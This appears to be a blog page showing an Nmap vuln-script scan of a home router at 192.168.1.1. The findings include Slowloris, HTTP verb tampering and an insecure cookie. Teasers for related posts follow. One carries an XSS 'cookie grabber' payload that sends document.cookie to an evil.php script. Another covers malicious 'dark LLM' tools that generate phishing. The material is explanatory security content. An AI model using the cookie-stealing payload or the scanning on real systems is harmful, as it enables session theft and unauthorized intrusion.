Nmap Vuln Scan Z13Z24

nmap --script vuln 192.168.1.1
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-31 00:20 EST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.1
Host is up (0.0066s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp filtered ssh
53/tcp open domain
80/tcp open http
|_http-internal-ip-disclosure: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
443/tcp open https
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-method-tamper:
| VULNERABLE:
| Authentication bypass by HTTP verb tampering
| State: VULNERABLE (Exploitable)
| This web server contains password protected resources vulnerable to authentication bypass
| vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
| common HTTP methods and in misconfigured .htaccess files.
|
| Extra information:
|
| URIs suspected to be vulnerable to HTTP verb tampering:
| / [HEAD]
|
| References:
| http://www.imperva.com/resources/glossary/http_verb_tampering.html
| http://capec.mitre.org/data/definitions/274.html
| http://www.mkit.com.ar/labs/htexploit/
|_ https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-cookie-flags:
| /:
| SESSIONID:
|_ secure flag not set and HTTPS in use
8000/tcp open http-alt
|_http-internal-ip-disclosure: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 73.70 seconds

Comments

Post a Comment

Popular posts from this blog

"Cookie Grabber", XSS Attack Example

Attack Examples Example 1: Cookie Grabber If the application doesn’t validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles): <SCRIPT type= "text/javascript" > var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT> The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in “cakemonster” variable. The attacker then checks the results of their evil.php script (a cookie grabber script will usually write the cookie to a file) and use it. Error Page Example Let’s assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is m...
Read more

Dark LLM Rise of Malicious Black Hat AI Tools That Shifts The Nature Of Cyber Warfare

"Rise of Malicious Black Hat AI Tools That Shifts The Nature Of Cyber Warfare By Dhivya - February 12, 2024 The rise of malicious versions of LLMs, like dark variants of ChatGPT, is escalating cyber warfare by enabling more sophisticated and automated attacks.  These models can generate convincing phishing emails, spread disinformation, and craft targeted social engineering messages.  All these illicit capabilities pose a significant threat to online security and worsen the challenge of distinguishing between genuine and malicious content. Cybersecurity researchers at Zvelo recently discovered a significant rise in using malicious versions of ChatGPT and other dark LLMs that shift the nature of cyber warfare. ##################################_______ Live Account Takeover Attack Simulation How do Hackers Bypass 2FA? Live attack simulation Webinar demonstrates various ways in which account takeover can happen and practices to protect your websites and APIs against ATO attacks ....
Read more

Blackbox.ai Convo - Disallow useragent error & remote emulation detection

"Best AI Model for Code. View Model Page Toggle Sidebar VSCode Web Playground Vscode Error 403: disallowed_useragent Request details: response_type=code redirect_uri=https://www.blackbox.ai/api/auth/callback/google state=eyJyYW5kb20iOiJINW9UNkRwRlBkRVZCZWxlTnpkQVF6XzQyYnpsWmpoMng5T2NJRG83LWhRIn0 code_challenge_method=S256 client_id=309019222178-mmncl8tbuid5recbdvo90s1pe2mbci00.apps.googleusercontent.com code_challenge=-Sxp6uOnpw_F2YK8wgxY8rPHuo_Ycighe3OadtDIfzw access_type=online scope=openid https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/userinfo.email Related OAuth policy Edit It seems like you're encountering an error related to a disallowed user agent while trying to authenticate with Google. This issue typically arises when the user agent string of your application is not recognized or allowed by Google's OAuth policy. To resolve this issue, you can try the following steps: Update your user agent string: Make sure your application...
Read more